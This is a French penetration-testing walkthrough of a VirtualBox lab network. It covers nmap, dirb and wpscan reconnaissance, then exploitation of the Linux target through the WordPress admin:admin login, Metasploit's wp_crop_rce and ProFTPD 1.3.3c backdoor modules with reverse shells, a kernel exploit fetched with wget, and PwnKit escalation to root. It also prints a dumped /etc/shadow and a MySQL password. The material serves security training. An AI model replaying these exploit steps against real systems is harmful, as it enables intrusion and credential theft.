Simulation de Penetration Testing
Reconnaissance
Host Discovery
On commence par faire un scan de découverte d’hôte pour identifier les machines présentes sur le réseau. Nous utilisons la commande nmap avec l’option -sn pour effectuer un ping scan, et nous redirigeons la sortie vers un fichier avec l’option -oA. Ensuite, nous filtrons les résultats pour extraire les adresses IP des machines découvertes.
sudo nmap 192.168.100.0/24 -sn -oA tnet | grep for | cut -d" " -f5En l’occurrence, on constate que les machines suivantes sont présentes sur le réseau :
192.168.100.1 -> Gateway
192.168.100.2 -> Machine 1
192.168.100.9 -> Machine 2
192.168.100.10 -> Machine 3
192.168.100.3 -> Kali Linux AttackerWARNING
Cette méthode de découverte d’hôte ne fonctionne que si le pare-feu de la machine cible est configuré pour répondre aux requêtes ICMP. Si le pare-feu bloque les requêtes ICMP, cette méthode ne permettra pas de découvrir la machine cible.
On peut vérifier qu’un hôte est actif, et déduire son système d’exploitation en utilisant la commande nmap suivante :
sudo nmap <ip> -sn -oA host -PE --packet-trace --disable-arp-pingMachine A
Concernant la machine A, le scan de découverte d’hôte a réussi à identifier la machine, et le TTL de 255 suggère qu’il ne s’agit pas d’un des deux systèmes ciblés dans le cadre de ce pentest, mais d’une interface réseau virtuelle car 255 est associé aux Network devices tels que des routers.
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-12 04:34 EST
SENT (0.0194s) ICMP [192.168.100.3 > 192.168.100.2 Echo request (type=8/code=0) id=10105 seq=0] IP [ttl=43 id=38183 iplen=28 ]
RCVD (0.0196s) ICMP [192.168.100.2 > 192.168.100.3 Echo reply (type=0/code=0) id=10105 seq=0] IP [ttl=255 id=38183 iplen=28 ]
Nmap scan report for 192.168.100.2
Host is up (0.00044s latency).
MAC Address: 08:00:27:B2:56:29 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.22 secondsWARNING
Il est important de noter que le TTL peut être modifié par les administrateurs système, et qu’il n’est pas toujours un indicateur fiable du système d’exploitation. Cependant, dans ce cas, le TTL de 255 suggère fortement que la machine cible est un système Linux.
INFO
Les
NSOCK INFOsont des informations de débogage fournies parnmappour suivre les connexions réseau et les événements. Elles peuvent être utiles pour comprendre le processus de scan et identifier d’éventuels problèmes de connectivité.
Machine B
En ce qui concerne la machine B, le scan de découverte d’hôte a également réussi à identifier la machine, et le TTL de 128 suggère que le système d’exploitation est probablement un système Windows.
SENT (0.0143s) ICMP [192.168.100.3 > 192.168.100.9 Echo request (type=8/code=0) id=12511 seq=0] IP [ttl=42 id=27035 iplen=28 ]
RCVD (0.0152s) ICMP [192.168.100.9 > 192.168.100.3 Echo reply (type=0/code=0) id=12511 seq=0] IP [ttl=128 id=402 iplen=28 ]
Nmap scan report for 192.168.100.9
Host is up (0.00092s latency).
MAC Address: 08:00:27:BC:A2:5C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.15 secondsMachine C
Enfin, pour la machine C, le scan de découverte d’hôte a également réussi à identifier la machine, et le TTL de 64 suggère que le système d’exploitation est probablement un système Linux.
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-12 05:06 EST
SENT (0.0298s) ICMP [192.168.100.3 > 192.168.100.10 Echo request (type=8/code=0) id=50726 seq=0] IP [ttl=47 id=55030 iplen=28 ]
RCVD (0.0304s) ICMP [192.168.100.10 > 192.168.100.3 Echo reply (type=0/code=0) id=50726 seq=0] IP [ttl=64 id=60720 iplen=28 ]
Nmap scan report for 192.168.100.10
Host is up (0.00069s latency).
MAC Address: 08:00:27:58:6A:8F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.17 secondRevue des hôtes
En conclusion, les machines découvertes sur le réseau sont les suivantes :
- Linux, dont l’ip est
192.168.100.10. - Windows, dont l’ip est
192.168.100.9.
Ce sont par leurs systèmes d’exploitation que nous dénommerons désormais ces machines cibles.
Service Discovery
Linux
Basic Enumerations
Par défaut, nmap scanne les 1000 ports TCP avec le SYN scan. Ici, on dresse un état des lieux rapides avec les 10 ports les plus courants :
sudo nmap 192.168.100.10 --top-ports=10 -oA linux.scan.fa
sPORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp closed telnet
25/tcp closed smtp
80/tcp open http
110/tcp closed pop3
139/tcp closed netbios-ssn
443/tcp closed https
445/tcp closed microsoft-ds
3389/tcp closed ms-wbt-server
MAC Address: 08:00:27:58:6A:8F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)On constate que les ports 21, 22 et 80 sont ouverts, tandis que les autres ports courants sont fermés. Cela suggère que les services FTP, SSH et HTTP sont actifs sur la machine Linux.
Ce faisant, on voit déjà se dissiner les scénarios d’exploitation autour du serveur HTTP et des services ftp/ssh qui, peut-être, sont vulnérables de par leur configuration.
sudo nmap 192.168.100.10 -F -sU -oA linux.scan.fast.udp
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-12 05:26 EST
Nmap scan report for 192.168.100.10
Host is up (0.0022s latency).
Not shown: 97 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
631/udp open|filtered ipp
5353/udp open|filtered zeroconfCôté UDP, sur les 1000 ports les plus courants, seuls les ports 68, 631 et 5353 sont ouverts ou filtrés. Le port 68 est utilisé pour le DHCP client, le port 631 pour l’IPP (Internet Printing Protocol) et le port 5353 pour le mDNS (Multicast DNS). Il n’y pas d’indication claire en terme d’exploitabilité future, de vulnérabilité. Quoi qu’il en soit, c’est là, et c’est représentatif d’une machine linux.
Enfin, on réalise un scan exhaustif des 65535 ports TCP pour s’assurer de ne rien manquer :
sudo nmap 192.168.100.10 -sV -sC -p- -oA linux.scan.full
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-12 05:35 EST
Nmap scan report for vtcsec (192.168.100.10)
Host is up (0.00022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
| 256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
|_ 256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:58:6A:8F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelOn établit clairement que les services FTP, SSH et HTTP sont actifs sur la machine Linux, et on obtient des informations supplémentaires sur les versions des logiciels utilisés. Le serveur FTP est ProFTPD 1.3.3c, le serveur SSH est OpenSSH 7.2p2 et le serveur HTTP est Apache httpd 2.4.18.
Specific Enumerations
Une fois cet état des lieux effectué, il est nécessaire d’approfondir la reconnaissance auprès de chacun des services exhibés.
HTTP Enumeration
En utilisant le script http-enum de nmap, on peut obtenir l’information suivante :
http-enum:
|_ /secret/: Potentially interesting folderEn faisant un curl sur le serveur HTTP, on peut confirmer que la page d’accueil ne contient pas d’informations intéressantes, mais que le dossier /secret/ est accessible.
En l’occurence, on y trouve un site wordpress requérant le nom de domaine vtcsec comme en atteste les différentes mentions au sein du code source (eg.http://vtcsec/secret/index.php).
TIP
Pour pallier l’echec de rendu du site web, il est nécessaire d’ajouter une entrée dans le fichier
/etc/hostsde la machine attaquante pour faire correspondre le nom de domainevtcsecà l’adresse IP de la machine cible.
dirb http://192.168.100.10/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Feb 12 05:59:46 2026
URL_BASE: http://192.168.100.10/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.100.10/ ----
+ http://192.168.100.10/index.html (CODE:200|SIZE:177)
==> DIRECTORY: http://192.168.100.10/secret/
+ http://192.168.100.10/server-status (CODE:403|SIZE:302)
---- Entering directory: http://192.168.100.10/secret/ ----
+ http://192.168.100.10/secret/index.php (CODE:301|SIZE:0)
==> DIRECTORY: http://192.168.100.10/secret/wp-admin/
==> DIRECTORY: http://192.168.100.10/secret/wp-content/
==> DIRECTORY: http://192.168.100.10/secret/wp-includes/
+ http://192.168.100.10/secret/xmlrpc.php (CODE:405|SIZE:42)
---- Entering directory: http://192.168.100.10/secret/wp-admin/ ----
+ http://192.168.100.10/secret/wp-admin/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.100.10/secret/wp-admin/css/
==> DIRECTORY: http://192.168.100.10/secret/wp-admin/images/
==> DIRECTORY: http://192.168.100.10/secret/wp-admin/includes/
+ http://192.168.100.10/secret/wp-admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.100.10/secret/wp-admin/js/
==> DIRECTORY: http://192.168.100.10/secret/wp-admin/maint/
==> DIRECTORY: http://192.168.100.10/secret/wp-admin/network/
==> DIRECTORY: http://192.168.100.10/secret/wp-admin/user/
---- Entering directory: http://192.168.100.10/secret/wp-content/ ----
+ http://192.168.100.10/secret/wp-content/index.php (CODE:200|SIZE:0)
==> DIRECTORY: http://192.168.100.10/secret/wp-content/plugins/
==> DIRECTORY: http://192.168.100.10/secret/wp-content/themes/
---- Entering directory: http://192.168.100.10/secret/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.100.10/secret/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.100.10/secret/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.100.10/secret/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.100.10/secret/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.100.10/secret/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.100.10/secret/wp-admin/network/ ----
+ http://192.168.100.10/secret/wp-admin/network/admin.php (CODE:302|SIZE:0)
+ http://192.168.100.10/secret/wp-admin/network/index.php (CODE:302|SIZE:0)
---- Entering directory: http://192.168.100.10/secret/wp-admin/user/ ----
+ http://192.168.100.10/secret/wp-admin/user/admin.php (CODE:302|SIZE:0)
+ http://192.168.100.10/secret/wp-admin/user/index.php (CODE:302|SIZE:0)
---- Entering directory: http://192.168.100.10/secret/wp-content/plugins/ ----
+ http://192.168.100.10/secret/wp-content/plugins/index.php (CODE:200|SIZE:0)
---- Entering directory: http://192.168.100.10/secret/wp-content/themes/ ----
+ http://192.168.100.10/secret/wp-content/themes/index.php (CODE:200|SIZE:0)
-----------------
END_TIME: Thu Feb 12 06:00:27 2026
DOWNLOADED: 36896 - FOUND: 13On identifie plusieurs problèmes de sécurité liés à la configuration du serveur HTTP, notamment :
| Problème | Impact |
|---|---|
| Directory listing actif | Enumération complète du code |
xmlrpc.php exposé | Bruteforce / amplification attack |
wp-admin accessible | Surface d’authentification |
| Plugins/thèmes listables | Version disclosure / exploit CVE |
server-status actif | Information leakage Apache |
Reconnaissance détaillée du service HTTP
Pour obtenir des informations sur les technologies utilisées par le serveur HTTP, on peut utiliser l’outil whatweb qui permet d’identifier les technologies web utilisées par un site. En exécutant la commande suivante, on obtient les informations suivantes :
whatweb http://192.168.100.10/secret/ http://192.168.100.10/secret/ [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.100.10], JQuery[1.12.4], MetaGenerator[WordPress 4.9], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[My secret blog \– Just another WordPress site], UncommonHeaders[link], WordPress[4.9]On découvre la version utilisée de WordPress, qui est la 4.9.
Dans notre boite à outil, on peut approfondir l’exploration de wordpress avec wpscan, qui est un scanner de vulnérabilités spécifique à WordPress. En exécutant la commande suivante, on obtient les informations suivantes :
wpscan --url http://vtcsec/secret/[+] URL: http://vtcsec/secret/ [192.168.100.10]
[+] Started: Thu Feb 12 07:54:20 2026
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://vtcsec/secret/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://vtcsec/secret/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://vtcsec/secret/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://vtcsec/secret/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.9 identified (Insecure, released on 2017-11-16).
| Found By: Rss Generator (Passive Detection)
| - http://vtcsec/secret/index.php/feed/, <generator>https://wordpress.org/?v=4.9</generator>
| - http://vtcsec/secret/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.9</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://vtcsec/secret/wp-content/themes/twentyseventeen/
| Last Updated: 2025-12-03T00:00:00.000Z
| Readme: http://vtcsec/secret/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 4.0
| Style URL: http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css?ver=4.9
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.4 (80% confidence)
| Found By: Style (Passive Detection)
| - http://vtcsec/secret/wp-content/themes/twentyseventeen/style.css?ver=4.9, Match: 'Version: 1.4'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <> (0 / 137) 0.00% ETA: ? Checking Config Backups - Time: 00:00:00 <> (1 / 137) 0.72% ETA: 0 Checking Config Backups - Time: 00:00:00 <> (7 / 137) 5.10% ETA: 0 Checking Config Backups - Time: 00:00:00 <> (18 / 137) 13.13% ETA: Checking Config Backups - Time: 00:00:00 <> (29 / 137) 21.16% ETA: Checking Config Backups - Time: 00:00:00 <> (42 / 137) 30.65% ETA: Checking Config Backups - Time: 00:00:00 <> (45 / 137) 32.84% ETA: Checking Config Backups - Time: 00:00:00 <> (61 / 137) 44.52% ETA: Checking Config Backups - Time: 00:00:00 <> (75 / 137) 54.74% ETA: Checking Config Backups - Time: 00:00:00 <> (87 / 137) 63.50% ETA: Checking Config Backups - Time: 00:00:00 <> (102 / 137) 74.45% ETA: Checking Config Backups - Time: 00:00:00 <> (116 / 137) 84.67% ETA: Checking Config Backups - Time: 00:00:00 <> (128 / 137) 93.43% ETA: Checking Config Backups - Time: 00:00:00 <> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Thu Feb 12 07:54:24 2026
[+] Requests Done: 187
[+] Cached Requests: 5
[+] Data Sent: 45.39 KB
[+] Data Received: 23.186 MB
[+] Memory used: 255.039 MB
[+] Elapsed time: 00:00:04On découvre que le thème utilisé est twentyseventeen, qui est une version obsolète du thème officiel de WordPress.
Ici, il ne fait aucun doute de la présence d’une multitude de vulnérabilités liées à la version obsolète du thème, et à la version obsolète de WordPress.
Windows
Basic Enumarations
sudo nmap 192.168.100.9 -sV -F -oA win.scan.fast
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-12 09:37 EST
Nmap scan report for 192.168.100.9
Host is up (0.0055s latency).
Not shown: 93 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.33 ((Win32) OpenSSL/1.0.2n PHP/5.6.35)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.33 ((Win32) OpenSSL/1.0.2n PHP/5.6.35)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:BC:A2:5C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsLà encore, on identifie les services classiques d’une machine Windows, à savoir les services HTTP sur les ports 80 et 443, ainsi que les services RPC sur les ports 135, 49152, 49153 et 49154. Le service NetBIOS-SSN est également actif sur le port 139.
Après avoir portraitisé la machine Windows, on peut approfondir la reconnaissance en réalisant un scan exhaustif :
sudo nmap 192.168.100.9 -sV -sC -oA win.scan.full
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-12 09:43 EST
Nmap scan report for 192.168.100.9
Host is up (0.00056s latency).
Not shown: 984 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp FileZilla ftpd 0.9.41 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
22/tcp open ssh OpenSSH 6.7 (protocol 2.0)
| ssh-hostkey:
| 1024 c7:d0:67:d1:dd:f4:90:74:5e:52:73:06:76:03:30:65 (DSA)
| 2048 9f:3e:9c:8d:b6:d4:58:f7:09:05:f5:c9:3f:12:0c:50 (RSA)
|_ 521 1a:6e:c8:82:12:cc:8f:3a:e3:dd:5c:e7:1a:78:7d:62 (ECDSA)
25/tcp open smtp SLmail smtpd 5.5.0.4433
| smtp-commands: IE8WIN7, SIZE 100000000, SEND, SOML, SAML, HELP, VRFY, EXPN, ETRN, XTRN
|_ This server supports the following commands. HELO MAIL RCPT DATA RSET SEND SOML SAML HELP NOOP QUIT
80/tcp open http Apache httpd 2.4.33 ((Win32) OpenSSL/1.0.2n PHP/5.6.35)
|_http-server-header: Apache/2.4.33 (Win32) OpenSSL/1.0.2n PHP/5.6.35
|_http-title: Windows Environment
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.33 ((Win32) OpenSSL/1.0.2n PHP/5.6.35)
|_http-title: Windows Environment
|_http-server-header: Apache/2.4.33 (Win32) OpenSSL/1.0.2n PHP/5.6.35
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds Windows 7 Enterprise 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
3389/tcp open ms-wbt-server Microsoft Terminal Service
| ssl-cert: Subject: commonName=IE8WIN7
| Not valid before: 2026-02-11T08:22:41
|_Not valid after: 2026-08-13T08:22:41
| rdp-ntlm-info:
| Target_Name: IE8WIN7
| NetBIOS_Domain_Name: IE8WIN7
| NetBIOS_Computer_Name: IE8WIN7
| DNS_Domain_Name: IE8WIN7
| DNS_Computer_Name: IE8WIN7
| Product_Version: 6.1.7601
|_ System_Time: 2026-02-12T14:44:09+00:00
|_ssl-date: 2026-02-12T14:45:19+00:00; +2s from scanner time.
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
MAC Address: 08:00:27:BC:A2:5C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: IE8WIN7; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 2:1:0:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: IE8WIN7, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:bc:a2:5c (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb-os-discovery:
| OS: Windows 7 Enterprise 7601 Service Pack 1 (Windows 7 Enterprise 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: IE8WIN7
| NetBIOS computer name: IE8WIN7\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-02-12T06:44:09-08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h36m01s, deviation: 3h34m39s, median: 1s
| smb2-time:
| date: 2026-02-12T14:44:09
|_ start_date: 2026-02-12T14:38:25On délaye les services exposés suivants :
- 21 → FileZilla FTP
- 22 → OpenSSH
- 25 → SLmail 5.5
- 80/443 → Apache + PHP
- 135/139/445 → SMB/RPC
- 3306 → MariaDB
- 3389 → RDP
- SMB signing disabled
Specific Enumerations
HTTP
sudo nmap 192.168.100.9 -p80,443 --script=http-enum -oA win.scan.http
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-12 09:56 EST
Nmap scan report for 192.168.100.9
Host is up (0.00062s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
|_ /icons/: Potentially interesting folder w/ directory listing
443/tcp open https
| http-enum:
|_ /icons/: Potentially interesting folder w/ directory listing
MAC Address: 08:00:27:BC:A2:5C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)Détection & exploitation de vulnérabilité
Linux
Serveur HTTP
Concernant le serveur HTTP, on a déjà identifié plusieurs endpoints intéressant. L’exploitation passe nécessairement par une reconnaissance manuelle, et des tests opportuns/au tout venant.
- Brute-force sur /secret/wp-admin/ pour identifier des credentials faibles sur la base d’un social engineering basique.
On peut tester des credentiels faibles sur la page de login de wordpress, et on découvre que le compte admin avec le mot de passe admin est valide.
À partir de là, on peut utiliser ce compte pour se connecter à l’interface d’administrateur et chercher un vecteur d’entrée.
En l’occurence, on peut exploiter wp-crop-rce :
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:ho
st:port][...]. Supported proxies: socks4, socks
5, socks5h, http, sapni
RHOSTS yes The target host(s), see https://docs.metasploit
.com/docs/using-metasploit/basics/using-metaspl
oit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THEME_DIR no The WordPress theme dir name (disable theme aut
o-detection if provided)
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.100.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 WordPress
View the full module info with the info, or info -d command.
msf exploit(multi/http/wp_crop_rce) > set RHOSTS 192.168.100.10
RHOSTS => 192.168.100.10
msf exploit(multi/http/wp_crop_rce) > set TARGETURI /secret/
TARGETURI => /secret/
msf exploit(multi/http/wp_crop_rce) > set USERNAME admin
USERNAME => admin
msf exploit(multi/http/wp_crop_rce) > set PA
set PASSWORD set PAYLOAD
msf exploit(multi/http/wp_crop_rce) > set PASSWORD admin
PASSWORD => admin
msf exploit(multi/http/wp_crop_rce) > run
[*] Started reverse TCP handler on 192.168.100.3:4444
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Command shell session 1 opened (192.168.100.3:4444 -> 192.168.100.10:42388) at 2026-02-12 08:18:00 -0500
[*] Attempting to clean up files...On obtient une session reverse shell sur la machine cible, ce qui nous permet d’exécuter des commandes à distance.
De façon classique, on récupère et exécute le script linPEAS afin d’évaluer la surface d’attaque et identifier des vecteurs d’escalade de privilèges potentiels.
Il en résulte les éléments suivants :
-
credentials WordPress
/var/www/html/secret/wp-config.php define('DB_USER', 'root'); define('DB_PASSWORD', 'arootmysqlpass'); -
présence d’un utilisateur local, on a dans
/etc/shadow:marlinspike:$6$wQb5nV3T$... -
présence de ProFTPD 1.3.3c, qui est une version vulnérable :
backdoored_proftpd-1.3.3c proftpd-1.3.3c.tar.bz2 046e85f6fe460de94fd46198feef4d07-backdoored_proftpd-1.3.3c.tar.gz -
Version explicite du kernel :
linux-headers-4.10.0-28-generic
Exploitation
ProFTPD 1.3.3c
On confirme la présence du processus et de sa version :
ps aux | grep proftpd
nobody 870 0.0 0.0 15912 2388 ? Ss 07:45 0:00 proftpd: (accepting connections)
www-data 7500 0.0 0.0 4508 672 ? S 08:45 0:00 sh -c ps aux | grep proftpd
www-data 7502 0.0 0.0 11284 1032 ? S 08:45 0:00 grep proftpd
proftpd --version
ProFTPD Version 1.3.3cOn peut ensuire exploiter la backdoor présente dans cette version de ProFTPD pour obtenir une shell :
msf exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reversepayload => cmd/unix/reverse
msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit
[-] 192.168.100.10:21 - Msf::OptionValidateError One or more options failed to validate: LHOST.
msf exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 192.168.100.3
LHOST => 192.168.100.3
msf exploit(unix/ftp/proftpd_133c_backdoor) > set LPORT 4444
LPORT => 4444
msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit
[*] Started reverse TCP double handler on 192.168.100.3:4444
[*] 192.168.100.10:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo cGUZp15v5bmAKrpA;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "cGUZp15v5bmAKrpA\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.100.3:4444 -> 192.168.100.10:42482) at 2026-02-12 09:05:59 -0500
id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)On peut stabiliser le shell :
python -c 'import pty; pty.spawn("/bin/bash")'
root@vtcsec:/Ainsi, on a obtenu un accès root sur la machine cible en exploitant la vulnérabilité présente dans ProFTPD 1.3.3c.
Kernel 4.10.0-28-generic
En utilisant le reverse shell www-data :
wget https://raw.githubusercontent.com/senyuuri/cve-2017-16995/refs/heads/master/exploit.c
gcc exploit.c -o exploit
./exploitToutefois, on ne constate aucune sortie, et le strace ne s’affiche pas faute de TTY fonctionnel.
Local Exploitation (Metasploit)
On peut également utiliser le module local_exploit_suggester de Metasploit pour identifier des exploits locaux potentiels sur la machine cible :
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set SESSION 3
SESSION => 3
msf post(multi/recon/local_exploit_suggester) > runOn identifie plusieurs exploits potentiels, notamment :
Subsqemment, on décide d’exploiter le module PwnKit :
msf post(multi/recon/local_exploit_suggester) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set SESSION 3
SESSION => 3
msf exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run[*] Started reverse TCP handler on 192.168.100.3:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.btsrqomjjf
[+] The target is vulnerable.
[*] Writing '/tmp/.jhljzudsi/rvahrmw/rvahrmw.so' (540 bytes) ...
[!] Verify cleanup of /tmp/.jhljzudsi
[*] Sending stage (3090404 bytes) to 192.168.100.10
[+] Deleted /tmp/.jhljzudsi/rvahrmw/rvahrmw.so
[+] Deleted /tmp/.jhljzudsi/.badmevlug
[+] Deleted /tmp/.jhljzudsi
[*] Meterpreter session 4 opened (192.168.100.3:4444 -> 192.168.100.10:42560) at 2026-02-12 11:38:53 -0500
meterpreter > getuid
Server username: rootOn peut observer :
meterpreter > cat /etc/shadow
root:!:17484:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:*:17379:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
